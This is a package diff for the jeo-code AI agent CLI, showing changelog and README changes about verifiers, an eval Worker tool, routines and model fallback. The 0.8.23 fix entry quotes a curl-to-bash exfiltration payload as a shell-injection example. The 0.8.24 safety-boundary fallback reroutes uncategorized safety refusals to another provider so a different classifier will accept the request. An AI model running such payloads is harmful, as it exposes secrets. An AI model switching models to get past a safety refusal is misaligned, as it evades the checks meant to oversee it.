jeo-code 0.8.22 → 0.8.24

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -6,6 +6,43 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
6
6
 
7
7
  The README mirrors the latest 5 entries — regenerate with `bun run changelog:sync`.
8
8
 
9
+ ## [0.8.24] - 2026-07-13
10
+ _Follow-up gap analysis against the same external "self-improving agent system" framework (Fable-5-style loops), continuing 0.8.23's audit into 4 more primitives: independent-verifier ENFORCEMENT (0.8.23 had the gate logic but nothing forced a plan to actually contain one), model-tier safety-boundary fallback (a false-positive safety refusal previously backed off forever on the SAME model instead of trying a genuinely different one — the pattern already shipped for rate limits), memory confidence that was self-assigned once instead of earned via a real verification event, and Dynamic Workflows (jeo had parallel fan-out but no sequential composition or real control flow across subagent calls). Closed all 4, the last one non-trivially: an in-process `AsyncFunction` (the same pattern `browser {run}` already ships) cannot be given a real wall-clock timeout — a synchronous bug in agent-authored code blocks jeo's own event loop forever, and `Promise.race` can never preempt it (verified empirically). Fixed by running Dynamic Workflows scripts in an isolated `Worker` (a genuinely separate OS thread `worker.terminate()` can preempt unconditionally, mirroring `bashTool`'s own SIGTERM/SIGKILL escalation on a spawned process) with `task()` bridged back to the main thread over a `postMessage` RPC — config/credentials never leave the main thread, and every dispatch (however the script shapes it) stays bounded by a real concurrency semaphore, not just a per-call count cap._
11
+
12
+ ### Added
13
+ - **Independent verifier: maker→verifier ORDERING enforced, not just present** (`src/agent/plan.ts`'s `PlanSchema`) — a plan could previously contain zero architect/critic steps at all, or place one BEFORE the mutating work it was supposed to check, and `team.ts`'s evidence-grounded role gate would never fire for it (nothing REQUIRED a verifier to exist in the right position). `PlanSchema` now walks the plan (parallel_group steps evaluated as one atomic unit — concurrent siblings cannot verify each other's still-in-flight changes) and fails the schema itself when a plan ends with an unverified mutation, at BOTH write time (`ralplan.ts`'s drafting/repair loop, feeding the real zod error back into the repair prompt instead of a generic message) and approval/execution time (`approve.ts`, `team.ts`) — a schema-invalid plan can no longer be approved or executed at all, closing the gap between "the gate exists" and "the gate cannot be skipped."
14
+ - **Evidence gate: independent verifiers must show their work** (`src/agent/task-tool.ts`'s `SubagentRunResult.readOnlyEvidenceCalls`, `src/commands/team.ts`'s `evaluateSubagentResult`, `src/commands/ralplan.ts`'s `runConsensusCriticGate`) — an architect/critic verdict (`[OKAY]`/`Architectural Status: CLEAR`) was text the model could emit with ZERO real inspection; both independent-verifier code paths in jeo (the per-step role gate AND ralplan's separate consensus-critic gate) now count OBSERVED `read`/`search`/`find`/`ast_grep`/`lsp` calls during the run and hard-fail any read-only-role verdict with zero evidence calls — unconditional, never softened by `--strict-mutations`, mirroring `goal-verifier.ts`'s existing `applyEvidenceGate` philosophy applied to the OTHER verifier path in the codebase.
15
+ - **Safety-boundary automatic model fallback** (`src/agent/engine.ts`'s `AgentLoopOptions.safetyFallbackAvailable`/`SAFETY_FALLBACK_TAG`, wired into `src/agent/task-tool.ts` and `src/commands/launch.ts`) — an UNCATEGORIZED refusal (bare `stop_reason=refusal`/`finish_reason=content_filter`/Gemini `SAFETY`, distinct from a `Refusal (<category>)`-shaped deterministic content-policy hit, which is UNTOUCHED and still hard-fails with zero fallback) previously backed off forever on the SAME model. When a genuinely different-PROVIDER candidate is available (same-provider siblings share the same classifier, so they're excluded too — stricter than the rate-limit fallback's same-credential-scope-only exclusion), the engine now bails with a distinctly-tagged doneReason and the caller switches models instead of riding the unbounded backoff — mirrors the already-shipped rate-limit fast-fallback's exact reroute-and-retry shape (never a bail-only predicate with nothing to switch to), reusing its provider-exclusion accumulation across repeated bails. `launch.ts`'s `routeFailureReason`/`equivalentRouteFallback` gained the same provider-level exclusion for the main interactive turn, and the internal tag is stripped from every user-visible surface (never leaks into a reply or a `[route]` notice).
16
+ - **Memory: earned confidence, active staleness tracking** (`src/agent/memory.ts`'s `isConceptStale`, `upsertConceptFile`'s new `opts.verified`, `distillSessionMemory`'s new `opts.sessionVerified`) — a concept's `last_verified` date was written unconditionally on every distillation pass, meaning "verified" was really just "written," never actually earned by a real verification event. `last_verified` is now written ONLY when the caller explicitly marks the session's distillation as verified; `isConceptStale` (pure, no I/O) treats a concept as stale when it has never been verified OR its last verification is older than 30 days (configurable) — 2026 industry pattern: confidence must be earned and staleness must be actively tracked, not read off a passive write-timestamp. Also fixed: `.jeo/` now self-ignores in git on first creation (`ensureJeoGitignore` in `src/agent/state.ts`) — memory/skill-lesson writes under `.jeo/` are agent-local working state, and without this a CI routine (`jeo routine init` + `create-pull-request`) shipped `.jeo/memory/*`/`.jeo/skills/*` churn into every generated PR.
17
+ - **Dynamic Workflows: `eval` tool, an agent-authored orchestration primitive** (`src/agent/eval-tool.ts`, wired into `src/commands/launch.ts`) — `task`'s `tasks[]` batch is ONE declarative, single-stage, parallel-only fan-out with no way to pipe one subagent's output into the next, branch on a result, or run N stages with a barrier between them. `eval {code, timeoutMs?}` lets the agent write an actual async JS function body composing THREE orchestration primitives — `task(role, taskText, context?)`, `parallel(thunks)`, `pipeline(items, ...stages)` (plus `log`) — with real loops/conditionals/sequencing. Runs in an isolated `Worker` (own OS thread) with a genuinely preemptive wall-clock timeout via `worker.terminate()` — NOT the same-process `AsyncFunction` pattern `browser {run}` uses, which cannot be given a real timeout at all (a synchronous bug blocks jeo's own event loop; `Promise.race` can never preempt it — verified empirically against a `while(true){}` reproduction). `task()` bridges back to the main thread over a `postMessage` RPC (config/credentials never enter the worker); every dispatch — however the script shapes it, including N raw concurrent `task()` calls that bypass `parallel()`/`pipeline()` entirely — is bounded by a real concurrency semaphore at `MAX_FANOUT` (4) in the RPC handler itself, plus a 40-dispatch total-count cap and a 20-item queue cap per `parallel()`/`pipeline()` call. Trust model: full `bash`-tier process access (NOT a security sandbox — `node:vm`/`vm2` offer no real isolation in 2026; documented as such), gated by the identical deep-interview mutation lock; never exposed to a subagent's own toolset (mirrors `task`'s own recursion-prevention exclusion).
18
+
19
+ ### Verified
20
+ - Full `bun test` — 3046 pass / 0 fail across 301 files (2997 baseline (post-audit fixture repair for the 20 pre-existing tests broken by the new PlanSchema ordering rule and evidence gate, none weakened — Pattern A: trailing verifier step; Pattern B: a real read-tool-call evidence turn) + 49 new: 8 dedicated PlanSchema ordering-rule tests covering the reject/accept boundary the fixture repairs alone never exercised, 4 safety-fallback engine tests, 3 task-tool safety-reroute tests, 4 launch.ts safety-fallback end-to-end tests, 20 eval-tool tests, plus the memory/gitignore additions).
21
+ - `bun run typecheck` — no errors.
22
+ - Live end-to-end (real CLI entrypoint, no mocks): `jeo approve` on a schema-invalid (unverified-mutation) plan refuses with exit code 1 and the exact ordering-rule message; the real (unmocked) `eval` tool composing `pipeline()` → `parallel()` in one script and returning a structured result; a genuine `while(true){}` script terminated by the Worker timeout at ~803ms for an 800ms budget (proving REAL preemption, not a same-thread race that would have hung indefinitely — confirmed the bug is real by first reproducing the hang against a bare `Promise.race`, which required an external OS-level `timeout` to recover from).
23
+ - Each new feature's highest-value contract mutation-tested against the ACTUAL source, not merely reasoned about: the ordering rule (neutered `ctx.addIssue` in `plan.ts`, full suite re-run — exactly the 4 reject-direction tests among the 8 new dedicated ordering-rule tests failed (13 pass / 4 fail), every accept-direction and unrelated test stayed green, confirming the 12 earlier fixture repairs only ever proved the ACCEPT direction and closing that real coverage gap before shipping; restored, all 3046 green again); the evidence gate (zero-evidence verdict correctly blocked, one real read call correctly clears it); the safety fallback (categorized `Refusal (<category>)` NEVER checks `safetyFallbackAvailable`, confirmed via a spy — true-positive path fully untouched); the eval concurrency semaphore (10 raw concurrent `task()` calls bypassing `parallel()`/`pipeline()` entirely still peak at ≤4 in-flight, proven via a real overlapping-delay probe, not a label).
24
+
25
+ ## [0.8.23] - 2026-07-12
26
+ _Gap analysis against an external "self-improving agent system" framework (Fable-5-style loops: independent verifiers, memory compounding, model-tier cost discipline, and scheduled routines) found jeo-code already had strong equivalents for most primitives — but 3 real gaps and 1 deliberately-scoped-safe gap. Closed all 4: skills that were "hand-authored, read-mostly, zero learning" now compound from real session failures; screenshots that were captured but never judged now close a real vision-verify loop; the `/goal` verifier and bulk fan-out dispatch that silently rode the same full-price model as the work they graded/executed now default to a cheap tier; and "runs without your laptop" is now achievable via a generated GitHub Actions template wrapping jeo's existing headless mode — with zero new attack surface inside jeo-code itself (no code-exec sandbox, no in-process scheduler/webhook receiver, both deliberately rejected as out of scope). Also absorbs 3 fixes shipped after 0.8.22 but never changelogged: a rate-limit fast-fallback audit that closed 4 real gaps, plus the cross-file `mock.module()` test-isolation class this release's own test additions collided with and fixed at its root cause._
27
+
28
+ ### Added
29
+ - **Skills self-compounding** (`src/agent/skill-lessons.ts`, wired into `src/commands/launch.ts`'s stall-guard path, `jeo skills lesson`/`jeo skills eval` in `src/commands/skills.ts`) — bundled skills were static, hand-authored, and never learned from real sessions: the only skill-file writers were one-directional bundled→disk installers. A stalled turn (consecutive-failure/cycle/repeat) now ALSO deterministically (no LLM, free-text keyword match against each skill's domain) offers the same failure to the skill system: `recordSkillLesson`/`appendSkillLesson` write it as a `- **title**: detail` bullet into a project-level `.jeo/skills/<name>.md` (seeded from the bundled skill's own text on first write via `bundledSkillFileContent`, idempotent on exact-title re-append), which `loadSkills()` already prefers over the bundled version by name — so the next session's skill invocation picks up the accumulated failure-mode/anti-pattern knowledge automatically. `evalSkillLessons` closes the loop with a genuine self-eval: one batched LLM call judges whether each recorded lesson is still "covered" by the skill's current guidance or has gone "stale", fed by the skill's core body text (lesson sections excluded).
30
+ - **Vision self-check loop** (`src/agent/vision-verify.ts`, wired as a new `verify` verb on `browser {action:"act"}` in `src/agent/browser-tool.ts`) — the browser tool could capture screenshots but nothing ever fed the pixels to a vision-capable model for judgment (the tool's own protocol text told the calling agent to "prefer observe over screenshot"). `browser {action:"act", actions:[{verb:"verify", goal, selector?, fullPage?, design_tokens?, prior_screenshot?}]}` now screenshots, attaches it as a real `ImageAttachment` (confirmed reaching Anthropic's content blocks via the same path clipboard-paste already used), and asks an INDEPENDENT vision-model call (never the maker's own turn) to judge it against `goal` (optionally `design_tokens`, optionally a `prior_screenshot` for before/after compare) — returning a structured `{verdict:"PASS"|"MISMATCH", detail}` instead of requiring a human or the same agent to eyeball a saved PNG path.
31
+ - **Cheap-tier model routing for graders** (`resolveVerifierModel`/`cheapestCredentialed`'s new `filter` param in `src/agent/prompt-router.ts`, wired into the goal-verifier call site in `src/commands/launch.ts`, the `critic` subagent role in `src/agent/subagents.ts`, and unpinned `task` fan-out batches via a new `modelOverride` in `src/agent/task-tool.ts`) — the `/goal` independent verifier previously reused the SAME full-price `activeModel` driving the turn it was grading (directly contradicting the "graders should be cheap" principle: it wasted budget AND reintroduced self-preference risk for self-graded turns), the `critic` role's cheap fallback was hardcoded to exactly 2 model ids instead of a general search, and an unpinned fan-out batch (up to 4 concurrent subagents, the common `task {tasks:[...]}` case) dispatched every worker to the strongest credentialed model regardless of the bulk/high-volume nature of that work. All three now resolve through `resolveVerifierModel`/a general `cheapestCredentialed` search/a mid-tier `fanoutModelOverride` respectively — live-verified: `browser {verify}` genuinely resolved to `claude-haiku-4-5` (not the `claude-sonnet-5` session default) against real credentials. `resolveVerifierModel(config, {requireImages})` filters to vision-capable catalog rows for the vision-verify caller specifically (a text-only cheap model would otherwise silently ignore an attached screenshot rather than error, risking a hallucinated verdict).
32
+ - **`jeo routine init`** (`src/util/routine-template.ts`, `src/commands/routine.ts`) — generates a GitHub Actions workflow (`.github/workflows/<name>.yml`) that runs jeo headlessly (`jeo "<prompt>" -p`, jeo's existing one-shot mode) on a `schedule`/`issues`/`pull_request` trigger (always paired with `workflow_dispatch` for manual runs), on GitHub-hosted runners — achieving "runs without your laptop" with ZERO new attack surface inside jeo-code itself (no in-process scheduler, no webhook listener, no code-exec sandbox: GitHub's own infrastructure does the triggering). Supports `--no-pr` (direct commit) vs the default PR-per-run mode (`peter-evans/create-pull-request`), `--dry-run` (preview without writing), and refuses to overwrite an existing workflow file without `--force`.
33
+
34
+ ### Fixed
35
+ - **Shell-injection-prevention in `jeo routine init`'s generated workflow** (`src/util/routine-template.ts`) — the initial implementation inlined `config.prompt` directly into the `run:` step's shell command; since bash performs `$(...)`/backtick command substitution on ANY text in a double-quoted `run:` string, a prompt containing e.g. `$(curl evil/exfil.sh|bash)` would execute with the step's API-key secret in scope. Fixed before ship: the prompt is now passed through an `env:` var (`JEO_ROUTINE_PROMPT`) and referenced as `run: jeo "$JEO_ROUTINE_PROMPT" -p` — bash expands an env var as inert data, never re-parsing its contents as shell syntax. Verified empirically (`JSON.stringify`'s escape output round-trips correctly through YAML double-quoted scalars per both a Python/PyYAML cross-check and bash's own literal-value expansion behavior) and via a dedicated regression test asserting the `run:` line is byte-identical regardless of prompt content.
36
+ - **Cross-file `mock.module()` test-isolation bug, root-caused** (`test/browser-tool.test.ts`) — this release's own new `browser {verify}` tests mocked `../src/agent/vision-verify` per-test with no restoration, permanently corrupting that module for every OTHER test file in the same `bun test` process (including `vision-verify.test.ts`'s own tests of the real implementation) — Bun shares one process-wide module registry across all files in a run. Empirically proved (via isolated minimal reproductions) that this is NOT a simple "leak then restore" bug: EVERY static import binding to a `mock.module()`'d specifier — named, aliased, or namespace, captured before or after the mock — is a LIVE binding in Bun with no way to snapshot a pre-mock value. The only correct fix (matching this codebase's own prior documented fix for the same bug class, commit 57a8bc5): never mock a module from more than one file — `browser-tool.test.ts`'s `verify` tests now mock `callLlm` (`../src/agent/loop`) instead, letting the REAL `visionVerify` run as a genuine integration path. Verified order-independent both directions (`vision-verify.test.ts`+`browser-tool.test.ts` and reversed) and against the full suite.
37
+ - **Rate-limit fast-fallback: 4 gaps closed** (`src/util/provider-error.ts`, `src/ai/model-catalog.ts`, `src/ai/model-manager.ts`, `src/agent/task-tool.ts`, `src/commands/ralplan.ts`) — an in-band SSE `event: error` mid-stream lost its numeric status text, breaking 5xx classification; live-discovered models with no recognizable brand substring (xai/kimi/gemini/etc.) silently defaulted to `"anthropic"`, corrupting credential-scope classification; `task-tool.ts`/`ralplan.ts` subagent calls were completely missing the rate-limit fast-fallback wiring `launch.ts`'s main call already had, riding the full ~90s backoff ladder on every subagent 429. Plus a real end-to-end integration test proving the full `launch.ts → engine.ts → retry.ts → model-manager.ts → provider adapter` chain together, not each layer in its own mocked sandbox.
38
+ - **Rate-limit fallback OAuth-scope exclusion** (`src/agent/prompt-router.ts` — `credentialScopeFor` extracted here from its prior location) — a 429 on one model now correctly excludes the model's WHOLE OAuth subscription scope from the fallback pool (not just the one failed model id), and 402 billing errors are excluded from that scope too.
39
+
40
+ ### Verified
41
+ - Full `bun test` — 2997 pass / 0 fail across 299 files (2954 baseline + 43 new: 33 from vision-verify/routine-template/routine tests, 10 from browser-tool/task-tool/skill-lessons additions).
42
+ - `bun run typecheck` — no errors.
43
+ - Live end-to-end (real credentials, real Chromium, real disk writes, no mocks): `jeo doctor` routing preview; `browser {verify}` against a real headless-Chromium screenshot resolving to `claude-haiku-4-5` (cheap tier) and returning a genuine PASS verdict; `jeo skills lesson`/`jeo skills eval` in a scratch repo — the eval correctly judged a deliberately-vague placeholder lesson as "stale" with a substantive LLM-reasoned explanation (not a rubber stamp); `jeo routine init` dry-run and real disk write (including force-overwrite refusal/acceptance and `--json` output) in a scratch git repo.
44
+ - Each new feature's highest-value contracts mutation-tested (disable the fix/logic, confirm the corresponding test fails, restore, confirm it passes again) — including the shell-injection fix, the fan-out `modelOverride` gating, and the vision-verify verdict mapping.
45
+
9
46
  ## [0.8.22] - 2026-07-11
10
47
  _A rescan of the working tree turned up a resume-fidelity gap plus two unwired TUI safety-net helpers left by a concurrent session; each was traced, wired where needed, and verified before shipping._
11
48
 
package/README.ja.md CHANGED
@@ -45,8 +45,15 @@
45
45
  - **クラッシュ耐久・ローカルファースト** — 全状態は `.jeo/` 配下にアトミック書き込み、プロセス間ロック、失敗タスクマーカー + 再開時の部分編集警告。
46
46
  - **動的ステップ予算** — 直近のツール呼び出しが新規の進捗を示す間は延長され、停滞すれば要約に収束。サブエージェントは厳密なステップ契約を維持。
47
47
  - **インライン TUI** — 完了した作業は実スクロールバックに流れ(ターン中も tmux ホイール可)、エージェント実行中も通常のクエリ入力欄が表示されたまま編集できます。Ctrl+O の詳細トグル、テーマ、クリップボード画像貼り付け(Ctrl+V)、CJK/絵文字対応の幅計算。
48
- - **ブラウザツール** — Playwright によるヘッドレス Chromium 自動化を第一級のエージェントツールとして搭載: 名前付きタブを再利用しつつ `open`/`close`/`run`/`act`、スクリーンショットより `observe` でタグ付けした要素 id を優先。`npx playwright install chromium` を一度実行する必要があります(バンドルされていません — jeo 自体はネイティブ依存ゼロのまま、ブラウザバイナリは Playwright 側の別ダウンロードです)。
48
+ - **ブラウザツール** — Playwright によるヘッドレス Chromium 自動化を第一級のエージェントツールとして搭載: 名前付きタブを再利用しつつ `open`/`close`/`run`/`act`、スクリーンショットより `observe` でタグ付けした要素 id を優先。`act {verb:"verify", goal, ...}` はビジュアル QA ループを完結させます: ページをスクリーンショットし、独立したビジョン対応モデルに平易な言葉のゴールと照らして判定させ(`{verdict:"PASS"|"MISMATCH", detail}`)、人間(または同じエージェント)が保存済み PNG を目視確認する必要をなくします。`npx playwright install chromium` を一度実行する必要があります(バンドルされていません — jeo 自体はネイティブ依存ゼロのまま、ブラウザバイナリは Playwright 側の別ダウンロードです)。
49
+ - **蓄積されるスキル** — 行き詰まったターンは、その行き止まりをまさに同じスキルのプロジェクトレベルファイル(`.jeo/skills/<name>.md`、初回書き込み時にバンドルスキルからシード、決定論的なキーワードマッチ、LLM不使用)に書き込むようになりました。これにより次のセッションの `$<skill>` 呼び出しは、バンドルされたドキュメントが永遠に静的なままでいる代わりに、蓄積された「Known Failure Modes」/「Anti-Patterns」の知識を引き継ぎます。`jeo skills lesson <skill> <failure|anti-pattern> "<title>" "<detail>"` で手動記録、`jeo skills eval <skill>` は記録済みの各教訓がスキルの現行ガイダンスでまだカバーされているか、それとも陳腐化したかを実際の LLM 判定で確認します。
50
+ - **低コスト層のグレーダールーティング** — `/goal` の検証器、`critic` サブエージェントロール、固定されていない `task` ファンアウトバッチは、採点・実行対象の作業と同じフルプライスモデルに黙って乗る代わりに、デフォルトで低コストのクレデンシャル済みモデルを使用します(`resolveVerifierModel`、ブラウザの `verify` アクションについてはビジョン対応能力でフィルタされ、テキストのみの低コストモデルが添付スクリーンショットを黙って取りこぼすことがありません)。
51
+ - **`jeo routine init`** — スケジュール/issue/PR トリガーで jeo をヘッドレス実行する(`jeo "<prompt>" -p`) GitHub Actions ワークフローを、GitHub 自身のランナー上に生成します — ラップトップは不要で、jeo 自体の内部に新しい攻撃対象領域も一切増えません(インプロセスのスケジューラや Webhook リスナーはありません)。`--dry-run` でプレビュー、`--no-pr` でデフォルトの実行ごとの PR の代わりに直接コミット。
49
52
  - **リモートサブエージェント可視化(Telegram)** — ボットを一度ペアリング(`jeo notify setup`)すれば、`jeo daemon start` がサブエージェントの状態遷移(開始 → 完了/失敗/キャンセル)ごとにメッセージを送り、`/subagents`、`/steer <id> <subagentId> <msg>`、`/cancel <id> <subagentId>` を受け付けます。Telegram フォーラムトピック、インラインキーボード、画像添付を含む `gjc` 完全パリティを提供し、コマンドはペアリングされたチャットのみ許可されます。
53
+ - **独立した検証者、実際に強制** — プランはもう architect/critic ステップをスキップできません: `PlanSchema` は未検証の変更で終わるプランを拒否し(検証対象の変更より前に置かれた verifier も無効)、`ralplan` のドラフト時点と `team`/`approve` の実行時点の両方で適用されます。すべての architect/critic 評決も実際の証拠を示す必要があり、観測された `read`/`search`/`find`/`ast_grep`/`lsp` 呼び出しがゼロなら、テキストが何を主張していても評決はブロックされます。
54
+ - **セーフティバウンダリの自動モデルフォールバック** — 未分類のセーフティ拒否(本物のコンテンツポリシー違反ではなく、分類器の誤検知の可能性)は、同じモデルで永遠に譲歩するのではなく、実際に別プロバイダのモデルへ切り替わるようになりました — 既存のレート制限時の高速フォールバックと同じパターンです。`Refusal (<category>)` 形式の確定的な拒否は影響を受けず、引き続きフォールバックなしでハードフェイルします。
55
+ - **メモリ: 勝ち取った信頼** — コンセプトの検証日付は、あらゆる書き込みではなく、蒸留パスが明示的に検証済みとマークした場合にのみ記録されるようになりました。`isConceptStale` は受動的なタイムスタンプを信頼する代わりに、未検証(または30日超の陳腐化)のコンセプトを再検証が必要なものとして扱います。
56
+ - **ダイナミックワークフロー(`eval` ツール)** — サブエージェントディスパッチの周りに実際の JS 制御フローを書けます: `task(role, taskText, context?)`、`parallel(thunks)`、`pipeline(items, ...stages)`、`log(message)` を組み合わせ、`task` の単一ステージ `tasks[]` バッチでは表現できない逐次/分岐オーケストレーションを構成します。隔離された Worker スレッドで、真のプリエンプティブなタイムアウト(同一プロセス内のレースではなく `worker.terminate()`)を伴って実行され — `bash` と同じフルプロセスの信頼度で、サンドボックスのふりはせず、同じ interview 変更ロックでゲートされます。
50
57
 
51
58
  ## インストール
52
59
 
@@ -195,6 +202,15 @@ jeo daemon stop # SIGTERM で停止
195
202
  | `/cancel <sessionId> <subagentId>` | 実行中のサブエージェントをキャンセル |
196
203
  | `/help` | コマンドリファレンスを表示 |
197
204
 
205
+ ## ルーティン(GitHub Actions)
206
+
207
+ ```bash
208
+ jeo routine init --trigger schedule --cron "0 7 * * *" --prompt "Re-run the eval suite and post a digest" --dry-run
209
+ jeo routine init --trigger issues --prompt "Triage this issue" --name "issue-triage"
210
+ ```
211
+
212
+ GitHub Actions ワークフロー(`.github/workflows/<name>.yml`)を生成し、jeo をインストールして `schedule` / `issues` / `pull_request` でヘッドレス実行します(`jeo "<prompt>" -p`) — 手動テスト実行のために常に `workflow_dispatch` と組み合わせます — GitHub 自身のホステッドランナー上で。これが jeo の「ラップトップなしで動く」ストーリーです: jeo 自体の内部にインプロセスのスケジューラも、Webhook リスナーも、コード実行サンドボックスもありません — GitHub のインフラがトリガーを担い、jeo は既存のヘッドレスモードを実行するだけです。デフォルトでは変更があれば PR を開きます(`peter-evans/create-pull-request`、diff が空なら安全な no-op); `--no-pr` はトリガーしたブランチへ直接コミットします。`--dry-run` は YAML を書き込まずに出力するだけです; 同じ `--out` パスで `jeo routine init` を再実行すると `--force` なしでは上書きを拒否します。ワークフローの最初の実際の実行前に、リポジトリシークレット `ANTHROPIC_API_KEY`(または `--api-key-env <VAR>`)を設定してください。
213
+
198
214
  ## ローカルモデル
199
215
 
200
216
  ```bash
@@ -265,11 +281,11 @@ CI は `.github/workflows/npm-publish.yml` で公開します — GitHub リリ
265
281
  ## 変更履歴 (Changelog)
266
282
 
267
283
  <!-- CHANGELOG:START (auto-generated from CHANGELOG.md — run `bun run changelog:sync`) -->
284
+ - **[0.8.24]** (2026-07-13) — Follow-up gap analysis against the same external "self-improving agent system" framework (Fable-5-style loops), continuing 0.8.23's audit into 4 more primitives: independent-verifier ENFORCEMENT (0.8.23 had the gate logic but nothing forced a plan to actually contain one), model-tier safety-boundary fallback (a false-positive safety refusal previously backed off forever on the SAME model instead of trying a genuinely different one — the pattern already shipped for rate limits), memory confidence that was self-assigned once instead of earned via a real verification event, and Dynamic Workflows (jeo had parallel fan-out but no sequential composition or real control flow across subagent calls). Closed all 4, the last one non-trivially: an in-process `AsyncFunction` (the same pattern `browser {run}` already ships) cannot be given a real wall-clock timeout — a synchronous bug in agent-authored code blocks jeo's own event loop forever, and `Promise.race` can never preempt it (verified empirically). Fixed by running Dynamic Workflows scripts in an isolated `Worker` (a genuinely separate OS thread `worker.terminate()` can preempt unconditionally, mirroring `bashTool`'s own SIGTERM/SIGKILL escalation on a spawned process) with `task()` bridged back to the main thread over a `postMessage` RPC — config/credentials never leave the main thread, and every dispatch (however the script shapes it) stays bounded by a real concurrency semaphore, not just a per-call count cap.
285
+ - **[0.8.23]** (2026-07-12) — Gap analysis against an external "self-improving agent system" framework (Fable-5-style loops: independent verifiers, memory compounding, model-tier cost discipline, and scheduled routines) found jeo-code already had strong equivalents for most primitives — but 3 real gaps and 1 deliberately-scoped-safe gap. Closed all 4: skills that were "hand-authored, read-mostly, zero learning" now compound from real session failures; screenshots that were captured but never judged now close a real vision-verify loop; the `/goal` verifier and bulk fan-out dispatch that silently rode the same full-price model as the work they graded/executed now default to a cheap tier; and "runs without your laptop" is now achievable via a generated GitHub Actions template wrapping jeo's existing headless mode — with zero new attack surface inside jeo-code itself (no code-exec sandbox, no in-process scheduler/webhook receiver, both deliberately rejected as out of scope). Also absorbs 3 fixes shipped after 0.8.22 but never changelogged: a rate-limit fast-fallback audit that closed 4 real gaps, plus the cross-file `mock.module()` test-isolation class this release's own test additions collided with and fixed at its root cause.
268
286
  - **[0.8.22]** (2026-07-11) — A rescan of the working tree turned up a resume-fidelity gap plus two unwired TUI safety-net helpers left by a concurrent session; each was traced, wired where needed, and verified before shipping.
269
287
  - **[0.8.21]** (2026-07-10) — "반영할꺼 같은방식으로 체크하고 배포까지" — a rescan of the working tree (after the prior audit pass) turned up 15 uncommitted files: 3 genuinely distinct features left unwired by a concurrent session, partially casualty of an earlier accidental `git checkout` incident this session (disclosed in the 0.8.20 entry above). Each was independently traced from its existing plumbing, wired to a real call site, tested, and one live-verified end-to-end over a real PTY before shipping.
270
288
  - **[0.8.20]** (2026-07-10) — "모든 검증 다시 리뷰하고 변경사항 모두 체크해" — 4 fresh, skeptical subagents independently re-audited every change from v0.8.17-0.8.19 (bc8768f..92c6b7d) with zero trust in prior claims: a code-correctness auditor manually traced the Antigravity routing logic against the live catalog, a test-integrity auditor mutation-tested the new tests (confirmed each one genuinely fails when its fix is reverted) and ran the suite fresh, a live-behavior verifier re-reproduced all 4 behavioral claims from scratch with self-generated data (own session ids, own mock server, own HTTP status code), and a docs-accuracy auditor cross-checked every README/CHANGELOG claim against current code in isolated git worktrees. Verdict: all core logic and tests GENUINE/CONFIRMED CORRECT — but the audit surfaced 1 real doc staleness gap, 1 changelog count error, and 2 minor precision gaps, all fixed here.
271
- - **[0.8.19]** (2026-07-09) — "프롬프트 라우팅에 안티그라비티 프로바이더의 경우, 안티그라비티용 소넷과 오퍼스도 3.5급으로 라우팅될수있도록해줘" — Antigravity re-exports 3 distinct model families (Anthropic Claude, Google Gemini, OpenAI GPT-OSS) behind one credential, structurally unlike every other provider. `high`/`complex` tier auto-select always resolved to Google's Gemini 3.5 rows: Anthropic's real 64,000-token output ceiling lost a same-thinking-tier tie to Google's 65,536 by a margin with no practical significance, and Gemini's 1M-token context further outranked Claude's real 200K window — so `antigravity/claude-sonnet-4-6`/`antigravity/claude-opus-4-6-thinking` were NEVER reachable through auto-select, even though both were already correctly `sizeClass`-tagged into the `high`/`complex` pools.
272
- - **[0.8.18]** (2026-07-09) — "라우팅 매 프롬프트마다 변경되는지, route why 의도대로 동작하는지 검증하고 배포할게있는지 확인해줘" — 2 parallel subagents live-verified per-prompt routing + `/route why` (including the previously-only-unit-tested post-call equivalent-model fallback path, now reproduced against a real mock 500-error server) and audited a disconnected `RouteHistory` class shipped as incomplete scaffolding in 0.8.16/0.8.17 (class + 11 tests existed, but nothing ever called it — no `/route history` subcommand, no wiring into the turn loop). Live testing also surfaced one real bug: the TUI footer's model/provider label never updated after a mid-turn fallback, staying on the pre-fallback model for the rest of that turn's render even though the backend decision (`lastRouteDecision`) was already correct.
273
289
 
274
290
  See [CHANGELOG.md](CHANGELOG.md) for the full history.
275
291
  <!-- CHANGELOG:END -->
package/README.ko.md CHANGED
@@ -45,8 +45,15 @@
45
45
  - **크래시 내구·로컬 우선** — 모든 상태는 `.jeo/` 아래 원자적 쓰기, 크로스 프로세스 런 락, 실패 태스크 마커 + 재개 시 부분 편집 경고.
46
46
  - **동적 스텝 버짓** — 최근 도구 호출이 새로운 진전을 보이는 동안 연장되고, 정체되면 정리 요약으로 수렴. 서브에이전트는 정확한 스텝 계약 유지.
47
47
  - **인라인 TUI** — 완료된 작업은 실제 스크롤백으로 흘러가고(턴 중에도 tmux 휠 스크롤 가능), 에이전트가 실행 중이어도 기존 쿼리 입력창이 그대로 보이며 편집됩니다. Ctrl+O 상세 토글, 테마, 클립보드 이미지 붙여넣기(Ctrl+V), CJK/이모지 안전 폭 계산.
48
- - **브라우저 도구** — Playwright 기반 헤드리스 Chromium 자동화가 1급 에이전트 도구로 포함: 이름 붙은 탭을 재사용하며 `open`/`close`/`run`/`act`, 스크린샷보다 `observe`로 태깅된 요소 id를 우선 사용. `npx playwright install chromium`을 한 번 실행해야 함(번들 아님 — jeo 자체는 여전히 네이티브 의존성 0, 브라우저 바이너리는 Playwright의 별도 다운로드).
48
+ - **브라우저 도구** — Playwright 기반 헤드리스 Chromium 자동화가 1급 에이전트 도구로 포함: 이름 붙은 탭을 재사용하며 `open`/`close`/`run`/`act`, 스크린샷보다 `observe`로 태깅된 요소 id를 우선 사용. `act {verb:"verify", goal, ...}`는 비주얼 QA 루프를 완결시킵니다: 페이지를 스크린샷으로 찍고 독립적인 비전 지원 모델에게 평이한 언어의 목표와 대조해 판단하도록 요청해(`{verdict:"PASS"|"MISMATCH", detail}`), 사람(또는 같은 에이전트)이 저장된 PNG를 직접 눈으로 확인할 필요를 없앱니다. `npx playwright install chromium`을 한 번 실행해야 함(번들 아님 — jeo 자체는 여전히 네이티브 의존성 0, 브라우저 바이너리는 Playwright의 별도 다운로드).
49
